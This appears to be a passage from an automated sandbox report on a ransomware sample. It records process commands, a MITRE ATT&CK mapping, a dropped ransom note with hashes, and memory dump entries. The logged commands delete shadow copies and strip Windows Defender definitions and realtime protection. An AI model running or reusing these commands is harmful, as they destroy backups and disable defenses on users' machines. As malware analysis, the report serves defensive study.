C:\Windows\SysWOW64\Wbem\wmic.exe
wmic.exe shadowcopy delete
2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4336

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
2⤵
PID:1064

C:\Program Files\Windows Defender\MpCmdRun.exe
"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
3⤵
- Deletes Windows Defender Definitions
PID:3836

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
2⤵
PID:356

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableIOAVProtection $true
3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4160

C:\Windows\SysWOW64\cmd.exe
cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
2⤵
PID:4832

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell Set-MpPreference -DisableRealtimeMonitoring $true
1⤵
PID:1872

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Inhibit System Recovery

T1490

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Program Files\EGdu_HOW_TO_DECRYPT.txt
Filesize
1KB

MD5
4e68cfad3f3cbef5406c90fd9e9d7931

SHA1
504d53957bbed8e1a612c791eec7abdd17bd15bc

SHA256
51dc299391f9b3eca411936a0d01781ad68799d282655e0d20c8c8521aa8e014

SHA512
78c89847c3a7c128e5d54c3fff0e41c89a61722730b9d02d9c7e0b6985ce8188c3c37b6357a71c30f7e34c8b78f94599a186be6c189e56f6ccb832033e77172a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
1c19c16e21c97ed42d5beabc93391fc5

SHA1
8ad83f8e0b3acf8dfbbf87931e41f0d664c4df68

SHA256
1bcd97396c83babfe6c5068ba590d7a3f8b70e72955a9d1e4070648e404cbf05

SHA512
7d18776d8f649b3d29c182ff03efc6cea8b527542ee55304980f24577aae8b64e37044407776e220984346c3998ace5f8853afa58c8b38407482a728e9495e0c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
18KB

MD5
6e0f0deb2d93482e4f4b70133007b55d

SHA1
543687c531354d59f13e1e18d0cff2201af00933

SHA256
2f25304d6994455f77cd6deda6932c18a4bd9886722109d2ccd557b27f09a36f

SHA512
9136f646d8dd3728a0c3f293d300452fb94cd377eff06a570dd5b8b1da5dc8097011f440b11c3081df64262b0b68384e4ae881ca56edcee888c7528a368e8ff4

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c1gqraxx.koj.ps1
Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
F:\temp3.swap.uj1ps
Filesize
75KB

MD5
cee316fac04370987d6c8f5dbd3f738c

SHA1
4ec8a54ee6075dd96aa4d6105470bda6e6dcc606

SHA256
4f6e0856c62272623122a9287a9ef24a6e7ca08176f096a645ab58a9f7d87660

SHA512
102f092848f15cbb186711769f339ac055800bcc0d3acc4494b01924e4743679fd74b4f9599913dec26f73d3f953474a2e8835f1d58abf42b68997320b578e86

Download Submit
memory/1872-290-0x0000000006700000-0x0000000006710000-memory.dmp

Filesize
64KB

Download
memory/1872-501-0x0000000073830000-0x0000000073F1E000-memory.dmp

Filesize
6.9MB

Download
memory/1872-265-0x0000000006700000-0x0000000006710000-memory.dmp

Filesize
64KB

Download
memory/1872-264-0x0000000006700000-0x0000000006710000-memory.dmp

Filesize
64KB

Download
memory/1872-263-0x0000000073830000-0x0000000073F1E000-memory.dmp

Filesize
6.9MB

Download
memory/1872-285-0x000000007F210000-0x000000007F220000-memory.dmp

Filesize
64KB

Download
memory/1872-284-0x0000000072B00000-0x0000000072B4B000-memory.dmp

Filesize
300KB

Download
memory/2808-0-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-283-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-4127-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8181-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-2646-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8171-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-2-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-6416-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8155-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8142-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8145-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8160-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-1-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/2808-8150-0x0000000000E70000-0x0000000001182000-memory.dmp

Filesize
3.1MB

Download
memory/4160-14-0x0000000007DA0000-0x0000000007E06000-memory.dmp

Filesize
408KB

Download
memory/4160-238-0x0000000009920000-0x000000000993A000-memory.dmp

Filesize
104KB

Download
memory/4160-243-0x0000000009900000-0x0000000009908000-memory.dmp

Filesize
32KB

Download
memory/4160-259-0x0000000073830000-0x0000000073F1E000-memory.dmp

Filesize
6.9MB

Download
memory/4160-36-0x000000007FBE0000-0x000000007FBF0000-memory.dmp

Filesize
64KB

Download
memory/4160-37-0x0000000009650000-0x0000000009683000-memory.dmp

Filesize
204KB

Download
memory/4160-45-0x00000000099C0000-0x0000000009A54000-memory.dmp

Filesize
592KB

Download
memory/4160-38-0x0000000072B00000-0x0000000072B4B000-memory.dmp

Filesize
300KB

Download
memory/4160-39-0x0000000009630000-0x000000000964E000-memory.dmp

Filesize
120KB

Download
memory/4160-44-0x0000000009790000-0x0000000009835000-memory.dmp

Filesize
660KB

Download
memory/4160-19-0x0000000008640000-0x00000000086B6000-memory.dmp

Filesize
472KB

Download
memory/4160-18-0x0000000008570000-0x00000000085BB000-memory.dmp

Filesize
300KB

Download
memory/4160-17-0x0000000007E10000-0x0000000007E2C000-memory.dmp

Filesize
112KB

Download
memory/4160-16-0x0000000007EE0000-0x0000000008230000-memory.dmp

Filesize
3.3MB

Download
memory/4160-15-0x0000000007CD0000-0x0000000007D36000-memory.dmp

Filesize
408KB

Download
memory/4160-13-0x0000000007B20000-0x0000000007B42000-memory.dmp

Filesize
136KB

Download
memory/4160-12-0x0000000007480000-0x0000000007AA8000-memory.dmp

Filesize
6.2MB

Download
memory/4160-11-0x0000000006E00000-0x0000000006E10000-memory.dmp

Filesize
64KB

Download
memory/4160-10-0x0000000006E00000-0x0000000006E10000-memory.dmp

Filesize
64KB

Download
memory/4160-8-0x0000000006E10000-0x0000000006E46000-memory.dmp

Filesize
216KB

Download
memory/4160-9-0x0000000073830000-0x0000000073F1E000-memory.dmp

Filesize
6.9MB

Download